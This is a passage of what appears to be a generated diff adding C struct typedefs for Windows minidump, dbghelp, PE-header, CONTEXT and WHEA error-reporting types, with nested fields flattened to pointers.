SizeOfStackReserve; + unsigned int SizeOfStackCommit; + unsigned int SizeOfHeapReserve; + unsigned int SizeOfHeapCommit; + unsigned int LoaderFlags; + unsigned int NumberOfRvaAndSizes; + void* DataDirectory[16]; +} IMAGE_OPTIONAL_HEADER32; + +typedef struct _MINIDUMP_THREAD_NAME { + unsigned int ThreadId; + unsigned long long RvaOfThreadName; +} MINIDUMP_THREAD_NAME; + +typedef struct _MINIDUMP_MEMORY_LIST { + unsigned int NumberOfMemoryRanges; + void* MemoryRanges[1]; +} MINIDUMP_MEMORY_LIST; + +typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD64 { + unsigned int SizeOfStruct; + unsigned long long BaseOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned char FileName[260]; + BOOL Reparse; + void* hFile; + unsigned int Flags; +} IMAGEHLP_DEFERRED_SYMBOL_LOAD64; + +typedef struct _APC_CALLBACK_DATA { + unsigned long long Parameter; + void* ContextRecord; + unsigned long long Reserved0; + unsigned long long Reserved1; +} APC_CALLBACK_DATA; + +typedef struct _IMAGE_OPTIONAL_HEADER64 { + void* Magic; + unsigned char MajorLinkerVersion; + unsigned char MinorLinkerVersion; + unsigned int SizeOfCode; + unsigned int SizeOfInitializedData; + unsigned int SizeOfUninitializedData; + unsigned int AddressOfEntryPoint; + unsigned int BaseOfCode; + unsigned long long ImageBase; + unsigned int SectionAlignment; + unsigned int FileAlignment; + unsigned short MajorOperatingSystemVersion; + unsigned short MinorOperatingSystemVersion; + unsigned short MajorImageVersion; + unsigned short MinorImageVersion; + unsigned short MajorSubsystemVersion; + unsigned short MinorSubsystemVersion; + unsigned int Win32VersionValue; + unsigned int SizeOfImage; + unsigned int SizeOfHeaders; + unsigned int CheckSum; + void* Subsystem; + void* DllCharacteristics; + unsigned long long SizeOfStackReserve; + unsigned long long SizeOfStackCommit; + unsigned long long SizeOfHeapReserve; + unsigned long long SizeOfHeapCommit; + unsigned int LoaderFlags; + unsigned int NumberOfRvaAndSizes; + void* DataDirectory[16]; +} IMAGE_OPTIONAL_HEADER64; + +typedef struct _WHEA_ERROR_SOURCE_CONFIGURATION_DD { + void* Initialize; + void* Uninitialize; + void* Correct; +} WHEA_ERROR_SOURCE_CONFIGURATION_DD; + +typedef struct _AER_ROOTPORT_DESCRIPTOR_FLAGS { + void* Anonymous; + unsigned short AsUSHORT; +} AER_ROOTPORT_DESCRIPTOR_FLAGS; + +typedef struct _ADDRESS64 { + unsigned long long Offset; + unsigned short Segment; + void* Mode; +} ADDRESS64; + +typedef struct _MINIDUMP_HANDLE_OPERATION_LIST { + unsigned int SizeOfHeader; + unsigned int SizeOfEntry; + unsigned int NumberOfEntries; + unsigned int Reserved; +} MINIDUMP_HANDLE_OPERATION_LIST; + +typedef struct _IMAGE_DEBUG_DIRECTORY { + unsigned int Characteristics; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + void* Type; + unsigned int SizeOfData; + unsigned int AddressOfRawData; + unsigned int PointerToRawData; +} IMAGE_DEBUG_DIRECTORY; + +typedef struct _IMAGEHLP_JIT_SYMBOLMAP { + unsigned int SizeOfStruct; + unsigned long long Address; + unsigned long long BaseOfImage; +} IMAGEHLP_JIT_SYMBOLMAP; + +typedef struct _WHEA_NOTIFICATION_DESCRIPTOR { + unsigned char Type; + unsigned char Length; + void* Flags; + void* u; +} WHEA_NOTIFICATION_DESCRIPTOR; + +typedef struct _IMAGE_NT_HEADERS32 { + unsigned int Signature; + void* FileHeader; + void* OptionalHeader; +} IMAGE_NT_HEADERS32; + +typedef struct _WHEA_DEVICE_DRIVER_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char Reserved; + void* SourceGuid; + unsigned short LogTag; + unsigned short Reserved2; + unsigned int PacketLength; + unsigned int PacketCount; + void* PacketBuffer; + void* Config; + void* CreatorId; + void* PartitionId; + unsigned int MaxSectionDataLength; + unsigned int MaxSectionsPerRecord; + void* PacketStateBuffer; + int OpenHandles; +} WHEA_DEVICE_DRIVER_DESCRIPTOR; + +typedef struct _EXIT_PROCESS_DEBUG_INFO { + unsigned int dwExitCode; +} EXIT_PROCESS_DEBUG_INFO; + +typedef struct _MINIDUMP_MEMORY_INFO_LIST { + unsigned int SizeOfHeader; + unsigned int SizeOfEntry; + unsigned long long NumberOfEntries; +} MINIDUMP_MEMORY_INFO_LIST; + +typedef struct _IMAGEHLP_GET_TYPE_INFO_PARAMS { + unsigned int SizeOfStruct; + void* Flags; + unsigned int NumIds; + void* TypeIds; + unsigned long long TagFilter; + unsigned int NumReqs; + void* ReqKinds; + void* ReqOffsets; + void* ReqSizes; + unsigned long long ReqStride; + unsigned long long BufferSize; + void* Buffer; + unsigned int EntriesMatched; + unsigned int EntriesFilled; + unsigned long long TagsFound; + unsigned long long AllReqsValid; + unsigned int NumReqsValid; + void* ReqsValid; +} IMAGEHLP_GET_TYPE_INFO_PARAMS; + +typedef struct _MINIDUMP_READ_MEMORY_FAILURE_CALLBACK { + unsigned long long Offset; + unsigned int Bytes; + int FailureStatus; +} MINIDUMP_READ_MEMORY_FAILURE_CALLBACK; + +typedef struct _DIMM_ADDR_VALID_BITS_DDR4 { + unsigned int _bitfield; +} DIMM_ADDR_VALID_BITS_DDR4; + +typedef struct _MINIDUMP_MISC_INFO_5 { + unsigned int SizeOfInfo; + unsigned int Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; + unsigned int ProcessorMaxMhz; + unsigned int ProcessorCurrentMhz; + unsigned int ProcessorMhzLimit; + unsigned int ProcessorMaxIdleState; + unsigned int ProcessorCurrentIdleState; + unsigned int ProcessIntegrityLevel; + unsigned int ProcessExecuteFlags; + unsigned int ProtectedProcess; + unsigned int TimeZoneId; + void* TimeZone; + unsigned short BuildString[260]; + unsigned short DbgBldStr[40]; + void* XStateData; + unsigned int ProcessCookie; +} MINIDUMP_MISC_INFO_5; + +typedef struct _DIMM_INFO { + void* DimmAddress; + void* ValidBits; +} DIMM_INFO; + +typedef struct _MINIDUMP_DIRECTORY { + unsigned int StreamType; + void* Location; +} MINIDUMP_DIRECTORY; + +typedef struct _AER_ENDPOINT_DESCRIPTOR_FLAGS { + void* Anonymous; + unsigned short AsUSHORT; +} AER_ENDPOINT_DESCRIPTOR_FLAGS; + +typedef struct _IMAGEHLP_MODULEW64_EX { + void* Module; + unsigned int RegionFlags; +} IMAGEHLP_MODULEW64_EX; + +typedef struct _EXCEPTION_RECORD64 { + int ExceptionCode; + unsigned int ExceptionFlags; + unsigned long long ExceptionRecord; + unsigned long long ExceptionAddress; + unsigned int NumberParameters; + unsigned int __unusedAlignment; + unsigned long long ExceptionInformation[15]; +} EXCEPTION_RECORD64; + +typedef struct _MINIDUMP_MODULE_LIST { + unsigned int NumberOfModules; + void* Modules[1]; +} MINIDUMP_MODULE_LIST; + +typedef struct _IMAGE_LOAD_CONFIG_DIRECTORY32 { + unsigned int Size; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned int GlobalFlagsClear; + unsigned int GlobalFlagsSet; + unsigned int CriticalSectionDefaultTimeout; + unsigned int DeCommitFreeBlockThreshold; + unsigned int DeCommitTotalFreeThreshold; + unsigned int LockPrefixTable; + unsigned int MaximumAllocationSize; + unsigned int VirtualMemoryThreshold; + unsigned int ProcessHeapFlags; + unsigned int ProcessAffinityMask; + unsigned short CSDVersion; + unsigned short DependentLoadFlags; + unsigned int EditList; + unsigned int SecurityCookie; + unsigned int SEHandlerTable; + unsigned int SEHandlerCount; + unsigned int GuardCFCheckFunctionPointer; + unsigned int GuardCFDispatchFunctionPointer; + unsigned int GuardCFFunctionTable; + unsigned int GuardCFFunctionCount; + unsigned int GuardFlags; + void* CodeIntegrity; + unsigned int GuardAddressTakenIatEntryTable; + unsigned int GuardAddressTakenIatEntryCount; + unsigned int GuardLongJumpTargetTable; + unsigned int GuardLongJumpTargetCount; + unsigned int DynamicValueRelocTable; + unsigned int CHPEMetadataPointer; + unsigned int GuardRFFailureRoutine; + unsigned int GuardRFFailureRoutineFunctionPointer; + unsigned int DynamicValueRelocTableOffset; + unsigned short DynamicValueRelocTableSection; + unsigned short Reserved2; + unsigned int GuardRFVerifyStackPointerFunctionPointer; + unsigned int HotPatchTableOffset; + unsigned int Reserved3; + unsigned int EnclaveConfigurationPointer; + unsigned int VolatileMetadataPointer; + unsigned int GuardEHContinuationTable; + unsigned int GuardEHContinuationCount; + unsigned int GuardXFGCheckFunctionPointer; + unsigned int GuardXFGDispatchFunctionPointer; + unsigned int GuardXFGTableDispatchFunctionPointer; + unsigned int CastGuardOsDeterminedFailureMode; + unsigned int GuardMemcpyFunctionPointer; + unsigned int UmaFunctionPointers; +} IMAGE_LOAD_CONFIG_DIRECTORY32; + +typedef struct _XSTATE_FEATURE { + unsigned int Offset; + unsigned int Size; +} XSTATE_FEATURE; + +typedef struct _MINIDUMP_THREAD_EX_LIST { + unsigned int NumberOfThreads; + void* Threads[1]; +} MINIDUMP_THREAD_EX_LIST; + +typedef struct _XPF_MCE_FLAGS { + void* Anonymous; + unsigned int AsULONG; +} XPF_MCE_FLAGS; + +typedef struct _CPU_INFORMATION { + void* X86CpuInfo; + void* OtherCpuInfo; +} CPU_INFORMATION; + +typedef struct _MINIDUMP_THREAD_EX { + unsigned int ThreadId; + unsigned int SuspendCount; + unsigned int PriorityClass; + unsigned int Priority; + unsigned long long Teb; + void* Stack; + void* ThreadContext; + void* BackingStore; +} MINIDUMP_THREAD_EX; + +typedef struct _IMAGEHLP_CBA_EVENTW { + void* severity; + unsigned int code; + void* desc; + void* object; +} IMAGEHLP_CBA_EVENTW; + +typedef struct _MINIDUMP_SYSTEM_MEMORY_INFO_2 { + unsigned short Revision; + unsigned short Flags; + void* BasicInfo; + void* FileCacheInfo; + void* BasicPerfInfo; + void* PerfInfo; +} MINIDUMP_SYSTEM_MEMORY_INFO_2; + +typedef struct _MODLOAD_PDBGUID_PDBAGE { + void* PdbGuid; + unsigned int PdbAge; +} MODLOAD_PDBGUID_PDBAGE; + +typedef struct _MINIDUMP_USER_STREAM_INFORMATION { + unsigned int UserStreamCount; + void* UserStreamArray; +} MINIDUMP_USER_STREAM_INFORMATION; + +typedef struct _MINIDUMP_USER_STREAM_INFORMATION { + unsigned int UserStreamCount; + void* UserStreamArray; +} MINIDUMP_USER_STREAM_INFORMATION; + +typedef struct _IMAGE_COR20_HEADER { + unsigned int cb; + unsigned short MajorRuntimeVersion; + unsigned short MinorRuntimeVersion; + void* MetaData; + unsigned int Flags; + void* Anonymous; + void* Resources; + void* StrongNameSignature; + void* CodeManagerTable; + void* VTableFixups; + void* ExportAddressTableJumps; + void* ManagedNativeHeader; +} IMAGE_COR20_HEADER; + +typedef struct _MINIDUMP_HANDLE_DATA_STREAM { + unsigned int SizeOfHeader; + unsigned int SizeOfDescriptor; + unsigned int NumberOfDescriptors; + unsigned int Reserved; +} MINIDUMP_HANDLE_DATA_STREAM; + +typedef struct _MINIDUMP_TOKEN_INFO_HEADER { + unsigned int TokenSize; + unsigned int TokenId; + unsigned long long TokenHandle; +} MINIDUMP_TOKEN_INFO_HEADER; + +typedef struct _IMAGEHLP_SYMBOL64 { + unsigned int SizeOfStruct; + unsigned long long Address; + unsigned int Size; + unsigned int Flags; + unsigned int MaxNameLength; + unsigned char Name[1]; +} IMAGEHLP_SYMBOL64; + +typedef struct _UNWIND_HISTORY_TABLE_ENTRY { + unsigned long long ImageBase; + void* FunctionEntry; +} UNWIND_HISTORY_TABLE_ENTRY; + +typedef struct _UNWIND_HISTORY_TABLE_ENTRY { + unsigned long long ImageBase; + void* FunctionEntry; +} UNWIND_HISTORY_TABLE_ENTRY; + +typedef struct _MINIDUMP_PROCESS_VM_COUNTERS_2 { + unsigned short Revision; + unsigned short Flags; + unsigned int PageFaultCount; + unsigned long long PeakWorkingSetSize; + unsigned long long WorkingSetSize; + unsigned long long QuotaPeakPagedPoolUsage; + unsigned long long QuotaPagedPoolUsage; + unsigned long long QuotaPeakNonPagedPoolUsage; + unsigned long long QuotaNonPagedPoolUsage; + unsigned long long PagefileUsage; + unsigned long long PeakPagefileUsage; + unsigned long long PeakVirtualSize; + unsigned long long VirtualSize; + unsigned long long PrivateUsage; + unsigned long long PrivateWorkingSetSize; + unsigned long long SharedCommitUsage; + unsigned long long JobSharedCommitUsage; + unsigned long long JobPrivateCommitUsage; + unsigned long long JobPeakPrivateCommitUsage; + unsigned long long JobPrivateCommitLimit; + unsigned long long JobTotalCommitLimit; +} MINIDUMP_PROCESS_VM_COUNTERS_2; + +typedef struct _MODLOAD_DATA { + unsigned int ssize; + void* ssig; + void* data; + unsigned int size; + unsigned int flags; +} MODLOAD_DATA; + +typedef struct _MINIDUMP_USER_RECORD { + unsigned int Type; + void* Memory; +} MINIDUMP_USER_RECORD; + +typedef struct _SRCCODEINFO { + unsigned int SizeOfStruct; + void* Key; + unsigned long long ModBase; + unsigned char Obj[261]; + unsigned char FileName[261]; + unsigned int LineNumber; + unsigned long long Address; +} SRCCODEINFO; + +typedef struct _DBGHELP_DATA_REPORT_STRUCT { + void* pBinPathNonExist; + void* pSymbolPathNonExist; +} DBGHELP_DATA_REPORT_STRUCT; + +typedef struct _WHEA_DRIVER_BUFFER_SET { + unsigned int Version; + void* Data; + unsigned int DataSize; + void* SectionTypeGuid; + void* SectionFriendlyName; + void* Flags; +} WHEA_DRIVER_BUFFER_SET; + +typedef struct _WHEA_NOTIFICATION_FLAGS { + void* Anonymous; + unsigned short AsUSHORT; +} WHEA_NOTIFICATION_FLAGS; + +typedef struct _MINIDUMP_CALLBACK_INPUT { + unsigned int ProcessId; + void* ProcessHandle; + unsigned int CallbackType; + void* Anonymous; +} MINIDUMP_CALLBACK_INPUT; + +typedef struct _ADDRESS { + unsigned int Offset; + unsigned short Segment; + void* Mode; +} ADDRESS; + +typedef struct _IMAGEHLP_MODULEW { + unsigned int SizeOfStruct; + unsigned int BaseOfImage; + unsigned int ImageSize; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int NumSyms; + void* SymType; + unsigned short ModuleName[32]; + unsigned short ImageName[256]; + unsigned short LoadedImageName[256]; +} IMAGEHLP_MODULEW; + +typedef struct _MINIDUMP_HANDLE_DESCRIPTOR { + unsigned long long Handle; + unsigned int TypeNameRva; + unsigned int ObjectNameRva; + unsigned int Attributes; + unsigned int GrantedAccess; + unsigned int HandleCount; + unsigned int PointerCount; +} MINIDUMP_HANDLE_DESCRIPTOR; + +typedef struct _IMAGEHLP_SYMBOLW_PACKAGE { + void* sym; + unsigned short name[2001]; +} IMAGEHLP_SYMBOLW_PACKAGE; + +typedef struct _WOW64_DESCRIPTOR_TABLE_ENTRY { + unsigned int Selector; + void* Descriptor; +} WOW64_DESCRIPTOR_TABLE_ENTRY; + +typedef struct _IMAGE_ROM_OPTIONAL_HEADER { + unsigned short Magic; + unsigned char MajorLinkerVersion; + unsigned char MinorLinkerVersion; + unsigned int SizeOfCode; + unsigned int SizeOfInitializedData; + unsigned int SizeOfUninitializedData; + unsigned int AddressOfEntryPoint; + unsigned int BaseOfCode; + unsigned int BaseOfData; + unsigned int BaseOfBss; + unsigned int GprMask; + unsigned int CprMask[4]; + unsigned int GpValue; +} IMAGE_ROM_OPTIONAL_HEADER; + +typedef struct _MINIDUMP_MEMORY64_LIST { + unsigned long long NumberOfMemoryRanges; + unsigned long long BaseRva; + void* MemoryRanges[1]; +} MINIDUMP_MEMORY64_LIST; + +typedef struct _WHEA_ERROR_SOURCE_CONFIGURATION_DEVICE_DRIVER { + unsigned int Version; + void* SourceGuid; + unsigned short LogTag; + unsigned char Reserved[6]; + void* Initialize; + void* Uninitialize; + unsigned int MaxSectionDataLength; + unsigned int MaxSectionsPerReport; + void* CreatorId; + void* PartitionId; +} WHEA_ERROR_SOURCE_CONFIGURATION_DEVICE_DRIVER; + +typedef struct _WHEA_PCI_SLOT_NUMBER { + void* u; +} WHEA_PCI_SLOT_NUMBER; + +// SKIPPED struct ARM64_NT_NEON128: floating-point fields not supported +typedef struct _SYMBOL_INFO { + unsigned int SizeOfStruct; + unsigned int TypeIndex; + unsigned long long Reserved[2]; + unsigned int Index; + unsigned int Size; + unsigned long long ModBase; + void* Flags; + unsigned long long Value; + unsigned long long Address; + unsigned int Register; + unsigned int Scope; + unsigned int Tag; + unsigned int NameLen; + unsigned int MaxNameLen; + unsigned char Name[1]; +} SYMBOL_INFO; + +typedef struct _WHEA_XPF_NMI_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; +} WHEA_XPF_NMI_DESCRIPTOR; + +typedef struct _PAGE_OFFLINE_VALID_BITS { + void* Anonymous; + unsigned char AsUINT8; +} PAGE_OFFLINE_VALID_BITS; + +typedef struct _DIMM_ADDR_VALID_BITS { + void* VB_DDR4; + void* VB_DDR5; + unsigned int AsUINT32; +} DIMM_ADDR_VALID_BITS; + +typedef struct _CONTEXT { + void* ContextFlags; + unsigned int Cpsr; + void* Anonymous; + unsigned long long Sp; + unsigned long long Pc; + void* V[32]; + unsigned int Fpcr; + unsigned int Fpsr; + unsigned int Bcr[8]; + unsigned long long Bvr[8]; + unsigned int Wcr[2]; + unsigned long long Wvr[2]; +} CONTEXT; + +typedef struct _CONTEXT { + unsigned long long P1Home; + unsigned long long P2Home; + unsigned long long P3Home; + unsigned long long P4Home; + unsigned long long P5Home; + unsigned long long P6Home; + void* ContextFlags; + unsigned int MxCsr; + unsigned short SegCs; + unsigned short SegDs; + unsigned short SegEs; + unsigned short SegFs; + unsigned short SegGs; + unsigned short SegSs; + unsigned int EFlags; + unsigned long long Dr0; + unsigned long long Dr1; + unsigned long long Dr2; + unsigned long long Dr3; + unsigned long long Dr6; + unsigned long long Dr7; + unsigned long long Rax; + unsigned long long Rcx; + unsigned long long Rdx; + unsigned long long Rbx; + unsigned long long Rsp; + unsigned long long Rbp; + unsigned long long Rsi; + unsigned long long Rdi; + unsigned long long R8; + unsigned long long R9; + unsigned long long R10; + unsigned long long R11; + unsigned long long R12; + unsigned long long R13; + unsigned long long R14; + unsigned long long R15; + unsigned long long Rip; + void* Anonymous; + void* VectorRegister[26]; + unsigned long long VectorControl; + unsigned long long DebugControl; + unsigned long long LastBranchToRip; + unsigned long long LastBranchFromRip; + unsigned long long LastExceptionToRip; + unsigned long long LastExceptionFromRip; +} CONTEXT; + +typedef struct _CONTEXT { + void* ContextFlags; + unsigned int Dr0; + unsigned int Dr1; + unsigned int Dr2; + unsigned int Dr3; + unsigned int Dr6; + unsigned int Dr7; + void* FloatSave; + unsigned int SegGs; + unsigned int SegFs; + unsigned int SegEs; + unsigned int SegDs; + unsigned int Edi; + unsigned int Esi; + unsigned int Ebx; + unsigned int Edx; + unsigned int Ecx; + unsigned int Eax; + unsigned int Ebp; + unsigned int Eip; + unsigned int SegCs; + unsigned int EFlags; + unsigned int Esp; + unsigned int SegSs; + unsigned char ExtendedRegisters[512]; +} CONTEXT; + +typedef struct _EXCEPTION_RECORD { + int ExceptionCode; + unsigned int ExceptionFlags; + void* ExceptionRecord; + void* ExceptionAddress; + unsigned int NumberParameters; + unsigned long long ExceptionInformation[15]; +} EXCEPTION_RECORD; + +typedef struct _SRCCODEINFOW { + unsigned int SizeOfStruct; + void* Key; + unsigned long long ModBase; + unsigned short Obj[261]; + unsigned short FileName[261]; + unsigned int LineNumber; + unsigned long long Address; +} SRCCODEINFOW; + +typedef struct _MINIDUMP_THREAD_NAME_LIST { + unsigned int NumberOfThreadNames; + void* ThreadNames[1]; +} MINIDUMP_THREAD_NAME_LIST; + +typedef struct _MINIDUMP_MODULE { + unsigned long long BaseOfImage; + unsigned int SizeOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned int ModuleNameRva; + void* VersionInfo; + void* CvRecord; + void* MiscRecord; + unsigned long long Reserved0; + unsigned long long Reserved1; +} MINIDUMP_MODULE; + +typedef struct _XSTATE_CONFIG_FEATURE_MSC_INFO { + unsigned int SizeOfInfo; + unsigned int ContextSize; + unsigned long long EnabledFeatures; + void* Features[64]; +} XSTATE_CONFIG_FEATURE_MSC_INFO; + +typedef struct _MINIDUMP_MEMORY_DESCRIPTOR { + unsigned long long StartOfMemoryRange; + void* Memory; +} MINIDUMP_MEMORY_DESCRIPTOR; + +typedef struct _WOW64_CONTEXT { + void* ContextFlags; + unsigned int Dr0; + unsigned int Dr1; + unsigned int Dr2; + unsigned int Dr3; + unsigned int Dr6; + unsigned int Dr7; + void* FloatSave; + unsigned int SegGs; + unsigned int SegFs; + unsigned int SegEs; + unsigned int SegDs; + unsigned int Edi; + unsigned int Esi; + unsigned int Ebx; + unsigned int Edx; + unsigned int Ecx; + unsigned int Eax; + unsigned int Ebp; + unsigned int Eip; + unsigned int SegCs; + unsigned int EFlags; + unsigned int Esp; + unsigned int SegSs; + unsigned char ExtendedRegisters[512]; +} WOW64_CONTEXT; + +typedef struct _IMAGE_DATA_DIRECTORY { + unsigned int VirtualAddress; + unsigned int Size; +} IMAGE_DATA_DIRECTORY; + +typedef struct _OUTPUT_DEBUG_STRING_INFO { + void* lpDebugStringData; + unsigned short fUnicode; + unsigned short nDebugStringLength; +} OUTPUT_DEBUG_STRING_INFO; + +typedef struct _MINIDUMP_MEMORY_INFO { + unsigned long long BaseAddress; + unsigned long long AllocationBase; + unsigned int AllocationProtect; + unsigned int __alignment1; + unsigned long long RegionSize; + void* State; + unsigned int Protect; + unsigned int Type; + unsigned int __alignment2; +} MINIDUMP_MEMORY_INFO; + +typedef struct _MEMORY_DEFECT { + unsigned int Version; + void* DimmInfo; + void* ErrType; +} MEMORY_DEFECT; + +typedef struct _LOADED_IMAGE { + void* ModuleName; + void* hFile; + void* MappedAddress; + void* FileHeader; + void* LastRvaSection; + unsigned int NumberOfSections; + void* Sections; + void* Characteristics; + BOOL fSystemImage; + BOOL fDOSImage; + BOOL fReadOnly; + unsigned char Version; + void* Links; + unsigned int SizeOfImage; +} LOADED_IMAGE; + +typedef struct _LOADED_IMAGE { + void* ModuleName; + void* hFile; + void* MappedAddress; + void* FileHeader; + void* LastRvaSection; + unsigned int NumberOfSections; + void* Sections; + void* Characteristics; + BOOL fSystemImage; + BOOL fDOSImage; + BOOL fReadOnly; + unsigned char Version; + void* Links; + unsigned int SizeOfImage; +} LOADED_IMAGE; + +typedef struct _MINIDUMP_SYSTEM_FILECACHE_INFORMATION { + unsigned long long CurrentSize; + unsigned long long PeakSize; + unsigned int PageFaultCount; + unsigned long long MinimumWorkingSet; + unsigned long long MaximumWorkingSet; + unsigned long long CurrentSizeIncludingTransitionInPages; + unsigned long long PeakSizeIncludingTransitionInPages; + unsigned int TransitionRePurposeCount; + unsigned int Flags; +} MINIDUMP_SYSTEM_FILECACHE_INFORMATION; + +typedef struct _MINIDUMP_HEADER { + unsigned int Signature; + unsigned int Version; + unsigned int NumberOfStreams; + unsigned int StreamDirectoryRva; + unsigned int CheckSum; + void* Anonymous; + unsigned long long Flags; +} MINIDUMP_HEADER; + +typedef struct _IPMI_OS_SEL_RECORD { + unsigned int Signature; + unsigned int Version; + unsigned int Length; + void* RecordType; + unsigned int DataLength; + unsigned char Data[1]; +} IPMI_OS_SEL_RECORD; + +typedef struct _MINIDUMP_MISC_INFO_3 { + unsigned int SizeOfInfo; + unsigned int Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; + unsigned int ProcessorMaxMhz; + unsigned int ProcessorCurrentMhz; + unsigned int ProcessorMhzLimit; + unsigned int ProcessorMaxIdleState; + unsigned int ProcessorCurrentIdleState; + unsigned int ProcessIntegrityLevel; + unsigned int ProcessExecuteFlags; + unsigned int ProtectedProcess; + unsigned int TimeZoneId; + void* TimeZone; +} MINIDUMP_MISC_INFO_3; + +typedef struct _TI_FINDCHILDREN_PARAMS { + unsigned int Count; + unsigned int Start; + unsigned int ChildId[1]; +} TI_FINDCHILDREN_PARAMS; + +typedef struct _DUMP_FILE_ATTRIBUTES { + void* Anonymous; + unsigned int Attributes; +} DUMP_FILE_ATTRIBUTES; + +typedef struct _DUMP_HEADER64 { + unsigned int Signature; + unsigned int ValidDump; + unsigned int MajorVersion; + unsigned int MinorVersion; + unsigned long long DirectoryTableBase; + unsigned long long PfnDataBase; + unsigned long long PsLoadedModuleList; + unsigned long long PsActiveProcessHead; + unsigned int MachineImageType; + unsigned int NumberProcessors; + unsigned int BugCheckCode; + unsigned long long BugCheckParameter1; + unsigned long long BugCheckParameter2; + unsigned long long BugCheckParameter3; + unsigned long long BugCheckParameter4; + unsigned char VersionUser[32]; + unsigned long long KdDebuggerDataBlock; + void* Anonymous; + unsigned char ContextRecord[3000]; + void* Exception; + unsigned int DumpType; + long long RequiredDumpSpace; + long long SystemTime; + unsigned char Comment[128]; + long long SystemUpTime; + unsigned int MiniDumpFields; + unsigned int SecondaryDataState; + unsigned int ProductType; + unsigned int SuiteMask; + unsigned int WriterStatus; + unsigned char Unused1; + unsigned char KdSecondaryVersion; + unsigned char Unused[2]; + void* Attributes; + unsigned int BootId; + unsigned char _reserved0[4008]; +} DUMP_HEADER64; + +typedef struct _MINIDUMP_UNLOADED_MODULE_LIST { + unsigned int SizeOfHeader; + unsigned int SizeOfEntry; + unsigned int NumberOfEntries; +} MINIDUMP_UNLOADED_MODULE_LIST; + +typedef struct _MINIDUMP_LOCATION_DESCRIPTOR64 { + unsigned long long DataSize; + unsigned long long Rva; +} MINIDUMP_LOCATION_DESCRIPTOR64; + +typedef struct _IMAGEHLP_SYMBOLW64_PACKAGE { + void* sym; + unsigned short name[2001]; +} IMAGEHLP_SYMBOLW64_PACKAGE; + +typedef struct _IMAGEHLP_SYMBOLW64 { + unsigned int SizeOfStruct; + unsigned long long Address; + unsigned int Size; + unsigned int Flags; + unsigned int MaxNameLength; + unsigned short Name[1]; +} IMAGEHLP_SYMBOLW64; + +typedef struct _XSAVE_AREA_HEADER { + unsigned long long Mask; + unsigned long long CompactionMask; + unsigned long long Reserved2[6]; +} XSAVE_AREA_HEADER; + +typedef struct _WAITCHAIN_NODE_INFO { + void* ObjectType; + void* ObjectStatus; + void* Anonymous; +} WAITCHAIN_NODE_INFO; + +typedef struct _MINIDUMP_THREAD { + unsigned int ThreadId; + unsigned int SuspendCount; + unsigned int PriorityClass; + unsigned int Priority; + unsigned long long Teb; + void* Stack; + void* ThreadContext; +} MINIDUMP_THREAD; + +typedef struct _EXIT_THREAD_DEBUG_INFO { + unsigned int dwExitCode; +} EXIT_THREAD_DEBUG_INFO; + +typedef struct _STACKFRAME { + void* AddrPC; + void* AddrReturn; + void* AddrFrame; + void* AddrStack; + void* FuncTableEntry; + unsigned int Params[4]; + BOOL Far; + BOOL Virtual; + unsigned int Reserved[3]; + void* KdHelp; + void* AddrBStore; +} STACKFRAME; + +typedef struct _WHEA_XPF_CMC_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char NumberOfBanks; + unsigned int Reserved; + void* Notify; + void* Banks[32]; +} WHEA_XPF_CMC_DESCRIPTOR; + +typedef struct _MINIDUMP_THREAD_INFO { + unsigned int ThreadId; + void* DumpFlags; + unsigned int DumpError; + unsigned int ExitStatus; + unsigned long long CreateTime; + unsigned long long ExitTime; + unsigned long long KernelTime; + unsigned long long UserTime; + unsigned long long StartAddress; + unsigned long long Affinity; +} MINIDUMP_THREAD_INFO; + +typedef struct _MINIDUMP_SYSTEM_MEMORY_INFO_1 { + unsigned short Revision; + unsigned short Flags; + void* BasicInfo; + void* FileCacheInfo; + void* BasicPerfInfo; + void* PerfInfo; +} MINIDUMP_SYSTEM_MEMORY_INFO_1; + +typedef struct _PHYSICAL_MEMORY_RUN32 { + unsigned int BasePage; + unsigned int PageCount; +} PHYSICAL_MEMORY_RUN32; + +typedef struct _API_VERSION { + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned short Revision; + unsigned short Reserved; +} API_VERSION; + +typedef struct _IMAGEHLP_MODULE64_EX { + void* Module; + unsigned int RegionFlags; +} IMAGEHLP_MODULE64_EX; + +typedef struct _XPF_MC_BANK_FLAGS { + void* Anonymous; + unsigned char AsUCHAR; +} XPF_MC_BANK_FLAGS; + +typedef struct _IMAGE_FUNCTION_ENTRY64 { + unsigned long long StartingAddress; + unsigned long long EndingAddress; + void* Anonymous; +} IMAGE_FUNCTION_ENTRY64; + +typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD { + unsigned int SizeOfStruct; + unsigned int BaseOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned char FileName[260]; + BOOL Reparse; + void* hFile; +} IMAGEHLP_DEFERRED_SYMBOL_LOAD; + +typedef struct _IMAGEHLP_CBA_EVENT { + void* severity; + unsigned int code; + void* desc; + void* object; +} IMAGEHLP_CBA_EVENT; + +typedef struct _DISCRIMINATEDUNION_TAG_VALUE { + unsigned char value[16]; + unsigned char valueSizeBytes; +} DISCRIMINATEDUNION_TAG_VALUE; + +typedef struct _DISPATCHER_CONTEXT { + unsigned long long ControlPc; + unsigned long long ImageBase; + void* FunctionEntry; + unsigned long long EstablisherFrame; + unsigned long long TargetPc; + void* ContextRecord; + void* LanguageHandler; + void* HandlerData; + void* HistoryTable; + unsigned int ScopeIndex; + BOOL ControlPcIsUnwound; + void* NonVolatileRegisters; +} DISPATCHER_CONTEXT; + +typedef struct _DISPATCHER_CONTEXT { + unsigned long long ControlPc; + unsigned long long ImageBase; + void* FunctionEntry; + unsigned long long EstablisherFrame; + unsigned long long TargetIp; + void* ContextRecord; + void* LanguageHandler; + void* HandlerData; + void* HistoryTable; + unsigned int ScopeIndex; + unsigned int Fill0; +} 